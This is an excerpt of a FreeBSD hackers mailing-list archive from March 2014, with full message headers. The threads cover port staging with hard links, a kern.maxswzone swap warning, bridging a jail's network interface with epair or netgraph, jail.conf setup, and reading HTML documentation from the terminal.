Received: from onlyone.friendlyhosting.spb.ru (onlyone.friendlyhosting.spb.ru [IPv6:2a01:4f8:131:60a2::2]) by mx1.freebsd.org (Postfix) with ESMTP id 697F7BA7; Fri, 7 Mar 2014 23:20:47 +0000 (UTC) Received: from lion.home.serebryakov.spb.ru (unknown [IPv6:2001:470:923f:1:502c:9f0:1046:48c]) (Authenticated sender: lev@serebryakov.spb.ru) by onlyone.friendlyhosting.spb.ru (Postfix) with ESMTPSA id 7FFC64AC2D; Sat, 8 Mar 2014 03:20:46 +0400 (MSK) Date: Sat, 8 Mar 2014 03:20:40 +0400 From: Lev Serebryakov Organization: FreeBSD Project X-Priority: 3 (Normal) Message-ID: <86807999.20140308032040@serebryakov.spb.ru> To: FreeBSD Hackers , FreeBSD Ports Subject: How to insall hard link to system (base) file in port with stage support? MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: lev@FreeBSD.org List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 07 Mar 2014 23:20:47 -0000 Hello, FreeBSD. My port installs GEOM class, so it need to make hard link to /sbin/geom. It uses and uses LINKS= ${BINDIR}/geom ${BINDIR}/g${CLASS} which works without staging, but, of course, doesn't work with staginig. Is it possible to support such operation with staging? -- // Black Lion AKA Lev Serebryakov From owner-freebsd-hackers@FreeBSD.ORG Fri Mar 7 23:41:04 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 5D697C05 for ; Fri, 7 Mar 2014 23:41:04 +0000 (UTC) Received: from udns.ultimateDNS.NET (ultimatedns.net [209.180.214.225]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 1EFC0D29 for ; Fri, 7 Mar 2014 23:41:03 +0000 (UTC) Received: from udns.ultimateDNS.NET (localhost [127.0.0.1]) by udns.ultimateDNS.NET (8.14.5/8.14.5) with ESMTP id s27Ng2ex023815; Fri, 7 Mar 2014 15:42:08 -0800 (PST) (envelope-from bsd-lists@bsdforge.com) Received: (from www@localhost) by udns.ultimateDNS.NET (8.14.5/8.14.5/Submit) id s27NfvQq023811; Fri, 7 Mar 2014 15:41:57 -0800 (PST) (envelope-from bsd-lists@bsdforge.com) Received: from demon.dnswatch.com ([209.180.214.229]) (UDNSMS authenticated user chrish) by ultimatedns.net with HTTP; Fri, 7 Mar 2014 15:41:57 -0800 (PST) Message-ID: <725ac3a0c66351a391ec272d7676fdc5.authenticated@ultimatedns.net> In-Reply-To: References: Date: Fri, 7 Mar 2014 15:41:57 -0800 (PST) Subject: Re: kern.maxswzone From: "Chris H" To: "Wojciech Puchar" User-Agent: UDNSMS/2.0.3 MIME-Version: 1.0 Content-Type: text/plain;charset=utf-8 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 07 Mar 2014 23:41:04 -0000 Greetings, > i configured 4.7GB swap on 512MB computer and i see in logs > OK I'm a bit confused here. It /sounds/ like you said you put 4.7 GIGabytes on a 512 MEGabyte hard drive. Hmm, no that can't be right. I'll bet you meant you have a computer with 512Mb RAM, and you created a 4.7Gb slice for SWAP. OK, that probably exceeds the traditional 2.5 x RAM I remember it being. But still, as memory serves, the message(s) you're seeing won't have a definitive answer without first determining how large the "block size" is on your hard drive. While I'm inclined to think they're 4096Kb. I can't know for sure, and anyone attempting to help, will also need that number. The block size determines the /amount/ (number) of pages the kernel creates. > warning: total configured swap (1249880 pages) exceeds maximum recommended amount (986496 > pages). > warning: increase kern.maxswzone or reduce amount of swap. > > > fine, but after increasing maxswzone to 60000000 from less than 40 > millions of default, no difference in message > > tried even increasing it more - no effect, same messages > > change is in /boot/loader.conf and it sets properly as sysctl > kern.maxswzone confirms. > > what's wrong Best wishes. --Chris > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > From owner-freebsd-hackers@FreeBSD.ORG Sat Mar 8 03:00:48 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id B5F21698; Sat, 8 Mar 2014 03:00:48 +0000 (UTC) Received: from mail-ob0-x22a.google.com (mail-ob0-x22a.google.com [IPv6:2607:f8b0:4003:c01::22a]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 6FB0FDCF; Sat, 8 Mar 2014 03:00:48 +0000 (UTC) Received: by mail-ob0-f170.google.com with SMTP id uz6so4974346obc.1 for ; Fri, 07 Mar 2014 19:00:47 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=nQu2wBDuQGSDH0LtkUct4MkK8sCEqn7L1nljnMBRhko=; b=wgrzOtqvt0Vq62sg6dyq7dI2wGvZUJjrFlhL2BMw2YMC6QnN8Qqx2zOwjIyUs0q0Xu ey1DF/VGEa+NPhNCAHGvksQ29I1HGXYiLdeBLEdxV49uN5NfC2k3jqejWVqgokxZxftT 8tRdfl7KELW8M5qnaDfmrsplSEEWwI04YQze6P1TNW3zXLuPXSTN8TrE6LR+aOMW2bZF uzIaMAWgE1WYx7iZ5UEBNaBoI3fGIPef+8YY796av/rIhsboz9jmLxVlGz8BqnmitI1f sncfqkFddqrxrHHgRmU3ndnwbVWVUxW0nc4HZ+2hxSvxRelg33F8COA6dfFtGmlMZWsS H/xg== MIME-Version: 1.0 X-Received: by 10.60.15.38 with SMTP id u6mr10109469oec.26.1394247647801; Fri, 07 Mar 2014 19:00:47 -0800 (PST) Received: by 10.182.76.201 with HTTP; Fri, 7 Mar 2014 19:00:47 -0800 (PST) In-Reply-To: <1a1801cf39d4$1155a830$3400f890$@FreeBSD.org> References: <53181410.1030107@freebsd.org> <5318B836.7040301@grosbein.net> <19cd01cf3974$dffa5bf0$9fef13d0$@FreeBSD.org> <1a1801cf39d4$1155a830$3400f890$@FreeBSD.org> Date: Fri, 7 Mar 2014 22:00:47 -0500 Message-ID: Subject: Re: How do I create a cloned interface when there is no static connection? From: Joe Nosay To: Devin Teske Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: FreeBSD Hackers , Eugene Grosbein X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 08 Mar 2014 03:00:48 -0000 On Fri, Mar 7, 2014 at 2:08 AM, wrote: > > > > -----Original Message----- > > From: Joe Nosay [mailto:superbisquit@gmail.com] > > Sent: Thursday, March 6, 2014 6:52 PM > > To: Devin Teske > > Cc: FreeBSD Hackers; Eugene Grosbein > > Subject: Re: How do I create a cloned interface when there is no static > > connection? > > > > On Thu, Mar 6, 2014 at 2:47 PM, wrote: > > > > > > > > > > > > -----Original Message----- > > > > From: Eugene Grosbein [mailto:eugen@grosbein.net] > > > > Sent: Thursday, March 6, 2014 10:03 AM > > > > To: Joe Nosay > > > > Cc: FreeBSD Hackers > > > > Subject: Re: How do I create a cloned interface when there is no > > > > static connection? > > > > > > > > On 07.03.2014 00:39, Joe Nosay wrote: > > > > > > > > > I'll need a dummy interface inside of the that can be bridged to > > > > > wlan0 outside of the jail. Normal jail with aliases. > > > > > > > > Try epair(4) and give one part of pair to jail and bridge another > > > > part > > > with > > > > wlan0. > > > > > > > > > > Never tried bridging a wlan with netgraph, but I wonder if the method > > > I use for bridging Ethernet with netgraph would work... > > > > > > Using the ngctl command to create an ng_bridge and then multiple > > > ng_eiface devices that you can be shoved into the jail. > > > > > > kldload ng_ether > > > kldload ng_bridge > > > kldload ng_eiface > > > ngctl > > > + mkpeer {IFACE}: bridge lower link0 > > > + connect {IFACE}: {IFACE}:lower upper link1 > > > + name {IFACE}:lower {IFACE}bridge > > > + quit > > > ifconifg {IFACE} up > > > ngctl > > > + msg {IFACE}: setpromisc 1 > > > + msg {IFACE}: setautosrc 0 > > > + mkpeer {IFACE}:lower eiface link{N} ether > > > + name {IFACE}bridge:link{N} > > > + show -n {IFACE}bridge: > > > Name: ngeth0 Type: eiface ID: XXXXXXXX Num > > > hooks: N > > > + name {IFACE}bridge:link{N} {NEWIFACE} > > > ifconfig ngeth0 name {NEWNAME} > > > ifconfig {NEWNAME} vnet {JID} > > > > > > Taking care to replace the following from above: > > > {IFACE} - the name of the interface you want to bridge (eg, em0) {N} - > > > link number (starts at 2; increments by-one for each new eiface) > > > {NEWIFACE} - the name of the new eiface (ngethN) device to create > > > {JID} - the jail ID of the jail you want to shove the interface into > > > > > > Of course, never tried this with WiFi. > > > > I did not properly create the jail.conf script. I believe the file of > /etc/rc.d/jail > > should be followed; yet, there is no tutorial on setting it up. > > My /etc/rc.conf file is also improperly setup. How? I don't know; but, I > can tell > > because the system will not boot completely and ctrl+C must be hit to > allow > > logging in. > > What release are you using? "uname -spr" is often succinct enough. > -- > Devin > > _____________ > The information contained in this message is proprietary and/or > confidential. If you are not the intended recipient, please: (i) delete the > message and all copies; (ii) do not disclose, distribute or use the message > in any manner; and (iii) notify the sender immediately. In addition, please > be aware that any message addressed to our domain is subject to archiving > and review by persons other than the intended recipient. Thank you. > FreeBSD 10.0-RELEASE amd64 The /etc/rc.d/jail script is interpreting the name at -G in FreeBSD-Google_projects to be a command line option. I am going to see what happens if I just change the name. From owner-freebsd-hackers@FreeBSD.ORG Sat Mar 8 03:37:45 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C97B7E71; Sat, 8 Mar 2014 03:37:45 +0000 (UTC) Received: from mail-ob0-x22f.google.com (mail-ob0-x22f.google.com [IPv6:2607:f8b0:4003:c01::22f]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 803C71A4; Sat, 8 Mar 2014 03:37:45 +0000 (UTC) Received: by mail-ob0-f175.google.com with SMTP id uy5so4999117obc.20 for ; Fri, 07 Mar 2014 19:37:44 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=SXLnbHBIHWjOry+p7nXq+gTcV98tbVf9vlEXU2NC7nU=; b=RsNw+sJfMpynomwdHjWAZx6rea0NCPkiOT7Tt3ckdt4NsXOjQYW++R9DBVT5gxWV6L rmlyL4gmVvYzU9Pa+usafa1ikvMqyr/tOLs2VM/Sb5USbO1l/pv2JEw+31C7fJI0nWKW sxigBVrRckwfzwYAZCqdHv4WhXGlzEnJMQ/uwUV0/9Bzz6J5AG+JlE/sTi8mCfUgraG1 +yvm6LLdVcmGfA50E8Am+Ew4ATg8ZJdCrDtc33eJfoJ4CoC7orX98+6rdP6JBJ6tn9ud RXVRdP0bO83UwFIRRNv0KD2dHcg5UVX+wW1d5+u1f3NIRsZJjDNeKxaYpPFxTV9ozRTg NRUw== MIME-Version: 1.0 X-Received: by 10.60.124.34 with SMTP id mf2mr9447oeb.49.1394249864542; Fri, 07 Mar 2014 19:37:44 -0800 (PST) Received: by 10.182.76.201 with HTTP; Fri, 7 Mar 2014 19:37:44 -0800 (PST) In-Reply-To: References: <53181410.1030107@freebsd.org> <5318B836.7040301@grosbein.net> <19cd01cf3974$dffa5bf0$9fef13d0$@FreeBSD.org> <1a1801cf39d4$1155a830$3400f890$@FreeBSD.org> Date: Fri, 7 Mar 2014 22:37:44 -0500 Message-ID: Subject: Re: How do I create a cloned interface when there is no static connection? From: Joe Nosay To: Devin Teske Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: FreeBSD Hackers , Eugene Grosbein X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 08 Mar 2014 03:37:45 -0000 On Fri, Mar 7, 2014 at 10:00 PM, Joe Nosay wrote: > > > > On Fri, Mar 7, 2014 at 2:08 AM, wrote: > >> >> >> > -----Original Message----- >> > From: Joe Nosay [mailto:superbisquit@gmail.com] >> > Sent: Thursday, March 6, 2014 6:52 PM >> > To: Devin Teske >> > Cc: FreeBSD Hackers; Eugene Grosbein >> > Subject: Re: How do I create a cloned interface when there is no static >> > connection? >> > >> > On Thu, Mar 6, 2014 at 2:47 PM, wrote: >> > >> > > >> > > >> > > > -----Original Message----- >> > > > From: Eugene Grosbein [mailto:eugen@grosbein.net] >> > > > Sent: Thursday, March 6, 2014 10:03 AM >> > > > To: Joe Nosay >> > > > Cc: FreeBSD Hackers >> > > > Subject: Re: How do I create a cloned interface when there is no >> > > > static connection? >> > > > >> > > > On 07.03.2014 00:39, Joe Nosay wrote: >> > > > >> > > > > I'll need a dummy interface inside of the that can be bridged to >> > > > > wlan0 outside of the jail. Normal jail with aliases. >> > > > >> > > > Try epair(4) and give one part of pair to jail and bridge another >> > > > part >> > > with >> > > > wlan0. >> > > > >> > > >> > > Never tried bridging a wlan with netgraph, but I wonder if the method >> > > I use for bridging Ethernet with netgraph would work... >> > > >> > > Using the ngctl command to create an ng_bridge and then multiple >> > > ng_eiface devices that you can be shoved into the jail. >> > > >> > > kldload ng_ether >> > > kldload ng_bridge >> > > kldload ng_eiface >> > > ngctl >> > > + mkpeer {IFACE}: bridge lower link0 >> > > + connect {IFACE}: {IFACE}:lower upper link1 >> > > + name {IFACE}:lower {IFACE}bridge >> > > + quit >> > > ifconifg {IFACE} up >> > > ngctl >> > > + msg {IFACE}: setpromisc 1 >> > > + msg {IFACE}: setautosrc 0 >> > > + mkpeer {IFACE}:lower eiface link{N} ether >> > > + name {IFACE}bridge:link{N} >> > > + show -n {IFACE}bridge: >> > > Name: ngeth0 Type: eiface ID: XXXXXXXX Num >> > > hooks: N >> > > + name {IFACE}bridge:link{N} {NEWIFACE} >> > > ifconfig ngeth0 name {NEWNAME} >> > > ifconfig {NEWNAME} vnet {JID} >> > > >> > > Taking care to replace the following from above: >> > > {IFACE} - the name of the interface you want to bridge (eg, em0) {N} - >> > > link number (starts at 2; increments by-one for each new eiface) >> > > {NEWIFACE} - the name of the new eiface (ngethN) device to create >> > > {JID} - the jail ID of the jail you want to shove the interface into >> > > >> > > Of course, never tried this with WiFi. >> > >> > I did not properly create the jail.conf script. I believe the file of >> /etc/rc.d/jail >> > should be followed; yet, there is no tutorial on setting it up. >> > My /etc/rc.conf file is also improperly setup. How? I don't know; but, I >> can tell >> > because the system will not boot completely and ctrl+C must be hit to >> allow >> > logging in. >> >> What release are you using? "uname -spr" is often succinct enough. >> -- >> Devin >> >> _____________ >> The information contained in this message is proprietary and/or >> confidential. If you are not the intended recipient, please: (i) delete the >> message and all copies; (ii) do not disclose, distribute or use the message >> in any manner; and (iii) notify the sender immediately. In addition, please >> be aware that any message addressed to our domain is subject to archiving >> and review by persons other than the intended recipient. Thank you. >> > > > FreeBSD 10.0-RELEASE amd64 > The /etc/rc.d/jail script is interpreting the name at -G in > FreeBSD-Google_projects to be a command line option. I am going to see what > happens if I just change the name. > Ok. The jail.conf is in /etc, the name is without hypens or undescores, and the script dies with "/etc/rc no such file or directory" from jail.conf. There is a /etc/rc but I know that jail exists in /etc/rc.d? Wait a sec. From owner-freebsd-hackers@FreeBSD.ORG Sat Mar 8 03:52:10 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 34C733EA; Sat, 8 Mar 2014 03:52:10 +0000 (UTC) Received: from mail-oa0-x22f.google.com (mail-oa0-x22f.google.com [IPv6:2607:f8b0:4003:c02::22f]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id DEF7A2DF; Sat, 8 Mar 2014 03:52:09 +0000 (UTC) Received: by mail-oa0-f47.google.com with SMTP id i11so5045496oag.6 for ; Fri, 07 Mar 2014 19:52:09 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=e0vlI6KYm8aby0DeK+OGdXran98+c+3t0N9TqoUKvOw=; b=Cc+kQsHofnuDaF7MVaHa+KKrr1k8VdTsnBSy3Xs7QT0UQLbFflho2Zo+QjP38grS6U sgKTxCVyYvHiuvNasp2ai7D7SLYJXKPaFpXHLUkPNIyt7PjCp1TXm2v5esc6X4CWAkMt v7U9Svjhjk3jhxMC/Pn/vpWyN5ja1sCgLb587OYS5lGDG6g6iLwHux2YJquVSuXE5l2Y kDpolOm5N2875JcUTO2lekVAx2ruBGQBc9V4zVsJbiTkqM/+IJdoT52ly0TMf4oa/mPI n9kiY4uSEMPJrHcCziESM3U5XOnCybk/lqkZJ3JNAhOkFn7SYdTU8ZwTNf1OryiFoWxo 8gNw== MIME-Version: 1.0 X-Received: by 10.60.93.168 with SMTP id cv8mr303402oeb.21.1394250729177; Fri, 07 Mar 2014 19:52:09 -0800 (PST) Received: by 10.182.76.201 with HTTP; Fri, 7 Mar 2014 19:52:09 -0800 (PST) In-Reply-To: References: <53181410.1030107@freebsd.org> <5318B836.7040301@grosbein.net> <19cd01cf3974$dffa5bf0$9fef13d0$@FreeBSD.org> <1a1801cf39d4$1155a830$3400f890$@FreeBSD.org> Date: Fri, 7 Mar 2014 22:52:09 -0500 Message-ID: Subject: Re: How do I create a cloned interface when there is no static connection? From: Joe Nosay To: Devin Teske Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: FreeBSD Hackers , Eugene Grosbein X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 08 Mar 2014 03:52:10 -0000 On Fri, Mar 7, 2014 at 10:37 PM, Joe Nosay wrote: > > > On Fri, Mar 7, 2014 at 10:00 PM, Joe Nosay wrote: > >> >> >> >> On Fri, Mar 7, 2014 at 2:08 AM, wrote: >> >>> >>> >>> > -----Original Message----- >>> > From: Joe Nosay [mailto:superbisquit@gmail.com] >>> > Sent: Thursday, March 6, 2014 6:52 PM >>> > To: Devin Teske >>> > Cc: FreeBSD Hackers; Eugene Grosbein >>> > Subject: Re: How do I create a cloned interface when there is no static >>> > connection? >>> > >>> > On Thu, Mar 6, 2014 at 2:47 PM, wrote: >>> > >>> > > >>> > > >>> > > > -----Original Message----- >>> > > > From: Eugene Grosbein [mailto:eugen@grosbein.net] >>> > > > Sent: Thursday, March 6, 2014 10:03 AM >>> > > > To: Joe Nosay >>> > > > Cc: FreeBSD Hackers >>> > > > Subject: Re: How do I create a cloned interface when there is no >>> > > > static connection? >>> > > > >>> > > > On 07.03.2014 00:39, Joe Nosay wrote: >>> > > > >>> > > > > I'll need a dummy interface inside of the that can be bridged to >>> > > > > wlan0 outside of the jail. Normal jail with aliases. >>> > > > >>> > > > Try epair(4) and give one part of pair to jail and bridge another >>> > > > part >>> > > with >>> > > > wlan0. >>> > > > >>> > > >>> > > Never tried bridging a wlan with netgraph, but I wonder if the method >>> > > I use for bridging Ethernet with netgraph would work... >>> > > >>> > > Using the ngctl command to create an ng_bridge and then multiple >>> > > ng_eiface devices that you can be shoved into the jail. >>> > > >>> > > kldload ng_ether >>> > > kldload ng_bridge >>> > > kldload ng_eiface >>> > > ngctl >>> > > + mkpeer {IFACE}: bridge lower link0 >>> > > + connect {IFACE}: {IFACE}:lower upper link1 >>> > > + name {IFACE}:lower {IFACE}bridge >>> > > + quit >>> > > ifconifg {IFACE} up >>> > > ngctl >>> > > + msg {IFACE}: setpromisc 1 >>> > > + msg {IFACE}: setautosrc 0 >>> > > + mkpeer {IFACE}:lower eiface link{N} ether >>> > > + name {IFACE}bridge:link{N} >>> > > + show -n {IFACE}bridge: >>> > > Name: ngeth0 Type: eiface ID: XXXXXXXX >>> Num >>> > > hooks: N >>> > > + name {IFACE}bridge:link{N} {NEWIFACE} >>> > > ifconfig ngeth0 name {NEWNAME} >>> > > ifconfig {NEWNAME} vnet {JID} >>> > > >>> > > Taking care to replace the following from above: >>> > > {IFACE} - the name of the interface you want to bridge (eg, em0) {N} >>> - >>> > > link number (starts at 2; increments by-one for each new eiface) >>> > > {NEWIFACE} - the name of the new eiface (ngethN) device to create >>> > > {JID} - the jail ID of the jail you want to shove the interface into >>> > > >>> > > Of course, never tried this with WiFi. >>> > >>> > I did not properly create the jail.conf script. I believe the file of >>> /etc/rc.d/jail >>> > should be followed; yet, there is no tutorial on setting it up. >>> > My /etc/rc.conf file is also improperly setup. How? I don't know; but, >>> I >>> can tell >>> > because the system will not boot completely and ctrl+C must be hit to >>> allow >>> > logging in. >>> >>> What release are you using? "uname -spr" is often succinct enough. >>> -- >>> Devin >>> >>> _____________ >>> The information contained in this message is proprietary and/or >>> confidential. If you are not the intended recipient, please: (i) delete the >>> message and all copies; (ii) do not disclose, distribute or use the message >>> in any manner; and (iii) notify the sender immediately. In addition, please >>> be aware that any message addressed to our domain is subject to archiving >>> and review by persons other than the intended recipient. Thank you. >>> >> >> >> FreeBSD 10.0-RELEASE amd64 >> The /etc/rc.d/jail script is interpreting the name at -G in >> FreeBSD-Google_projects to be a command line option. I am going to see what >> happens if I just change the name. >> > > > Ok. > The jail.conf is in /etc, the name is without hypens or undescores, and > the script dies with "/etc/rc no such file or directory" from jail.conf. > There is a /etc/rc but I know that jail exists in /etc/rc.d? > Wait a sec. > Okay. Herein lies the problem: I used /bin/sh plus location of jail plus the command to start and stop. The system does not seem to be able to find the script. I have not ran /usr/libexec/locate.updatedb yet. That may help, I don't know. Hold a sec, let me test. exec.start = "/bin/sh /etc/rc.d/jail jail_start"; exec.stop = "/bin/sh /etc/rc.d/jail jail_stop"; From owner-freebsd-hackers@FreeBSD.ORG Sat Mar 8 06:36:34 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 9781A7AA for ; Sat, 8 Mar 2014 06:36:34 +0000 (UTC) Received: from nm22-vm1.bullet.mail.bf1.yahoo.com (nm22-vm1.bullet.mail.bf1.yahoo.com [98.139.212.127]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 4185BFD6 for ; Sat, 8 Mar 2014 06:36:33 +0000 (UTC) Received: from [98.139.215.142] by nm22.bullet.mail.bf1.yahoo.com with NNFMP; 08 Mar 2014 06:36:26 -0000 Received: from [98.139.211.200] by tm13.bullet.mail.bf1.yahoo.com with NNFMP; 08 Mar 2014 06:36:26 -0000 Received: from [127.0.0.1] by smtp209.mail.bf1.yahoo.com with NNFMP; 08 Mar 2014 06:36:26 -0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s1024; t=1394260586; bh=WHwxuZiJ6VYBeAnEa5Qha3CQJcg7jk105P5LKQ1duI0=; h=X-Yahoo-Newman-Id:X-Yahoo-Newman-Property:X-YMail-OSG:X-Yahoo-SMTP:X-Rocket-Received:Subject:From:Content-Type:X-Mailer:Message-Id:Date:To:Content-Transfer-Encoding:Mime-Version; b=j193pRyyPoNWa2SCeWwEM89iys9pAknGdT/zRaEZcOeZEEqgqOoIDV4SYGD4A+Rn3KzFy3enTHZWgATKiGsz9LA3mcMMqULBAtRre4RCcSa9SP6LZ4CJSh3lCZ5hc7a6l8lm7bPIEDIpeF5ne/ToP1+xrmMcZeEan4EC+J4HlFE= X-Yahoo-Newman-Id: 403707.1027.bm@smtp209.mail.bf1.yahoo.com X-Yahoo-Newman-Property: ymail-3 X-YMail-OSG: kIkvt2cVM1mdrALxDYNtbut0nHtrR6pnjqLHNRavbMR1vxt kOA1VJZaywXW_Ih8u.kTXBS27WuTnu1TB7vKTwkJ0MxmU1odUdGzeZgQc.m1 Nc6eOZsK7xS8WXLxxWHiqJiB5i.GBG5xLwtOJQioB5LfoXwcSrVEwi3Bup.q 7OAHKVfv3NHROVnb8DVaWxsGRW_p1v88og.TFH.VdzAkXbF_IAVr4ZNEDXTM nfMy6zILbXl.HfoNfzUwSXu2nbMA26G.jeV2fejgC8PXRIySdsLFVZp6xwgP aaZJY9wDtHKGoa8RVHGEwbe2gp_50seysbkF1BO8mHPWKR3CJKqZYuCP0hMX JPMfhJ6UpuSgYXAL3liUdPVnWHjWwmEwxrRnttkjEmASYj0hgCVMEBNc9l1s bxm8KrbADGD01WzHA5.T6IzcOUfDSnN0ZX8_YvHHklSMulpRw0Q6comLgb_. rvKvWpCQv8l3nmmlXX1Nuqh_mCtf7S2zDVNaP5ZH84J6fU8QiWdckR6bD9a2 sNnjGFmvLDnS9oJcdwg0_Zg-- X-Yahoo-SMTP: LAFNfTaswBDguI7meB90l2l3wOU- X-Rocket-Received: from [192.168.1.105] (free7by@220.169.172.141 with xymcookie [106.10.149.123]) by smtp209.mail.bf1.yahoo.com with SMTP; 07 Mar 2014 22:36:26 -0800 PST Subject: How to read HTML file in FreeBSD(base system) From: by Content-Type: text/plain; charset=us-ascii X-Mailer: iPhone Mail (11B651) Message-Id: Date: Sat, 8 Mar 2014 14:36:16 +0800 To: "freebsd-hackers@freebsd.org" Content-Transfer-Encoding: quoted-printable Mime-Version: 1.0 (1.0) X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 08 Mar 2014 06:36:34 -0000 Hello, I use FreeBSD 10.0 RELEASE now, and I just install the base system, but I ad= d doc when I install FreeBSD, so there are some docs in my system, and they a= re HTML files, so I want to ask that does FreeBSD provide some utilities to r= ead HTML file in terminal? You may say w3m is a good choice : ) I have use it before, it is a great web browser in CLI, and its use experien= ce is like vi : ) But I must install it from ports or src by myself, so does FreeBSD provide s= ome utilities in base system to implement that? - by= From owner-freebsd-hackers@FreeBSD.ORG Sat Mar 8 06:57:44 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 4360DB22 for ; Sat, 8 Mar 2014 06:57:44 +0000 (UTC) Received: from mail-qg0-x230.google.com (mail-qg0-x230.google.com [IPv6:2607:f8b0:400d:c04::230]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id F3E411CD for ; Sat, 8 Mar 2014 06:57:43 +0000 (UTC) Received: by mail-qg0-f48.google.com with SMTP id j107so14401730qga.7 for ; Fri, 07 Mar 2014 22:57:43 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=references:mime-version:in-reply-to:content-type :content-transfer-encoding:message-id:cc:from:subject:date:to; bh=U8/nPQu4IRj1IgAXtFdQI+8k7EmTuOQAAKXeag6RQBk=; b=dJ8rnNTSxUeQ01R8yvhZw2d6Lt01mun8I8KbKSV/tAnW5fUq9nawg/R2oq7sgWCgfY 3n8QfUXJOGrzkxh4Pa+k+DHZgcPeGkSfileCMD+SZKQsYQPsJ46iOqU2XtkBRU6vFpIY EJtAkvbpNdxFTgr0gOy8StpTq70OSZdcHD7cVlgcAJxPQJSkLrdZ5ZGRuXpbaS/m00Oc LXaCCHeBoNwT/3PSL6UNCc7otkyNFDt/Q6yperuJebJgy6ih0AOdFeF8pXpRkeGJtzkX dz1sMirv4WsoiZ245TO75U6HjaqfQ48jGBNaffKJDHTlAHA1i2PQuIqAHBNIK1H+mDny /SLQ== X-Received: by 10.140.82.175 with SMTP id h44mr25931335qgd.68.1394261863163; Fri, 07 Mar 2014 22:57:43 -0800 (PST) Received: from [192.168.2.10] 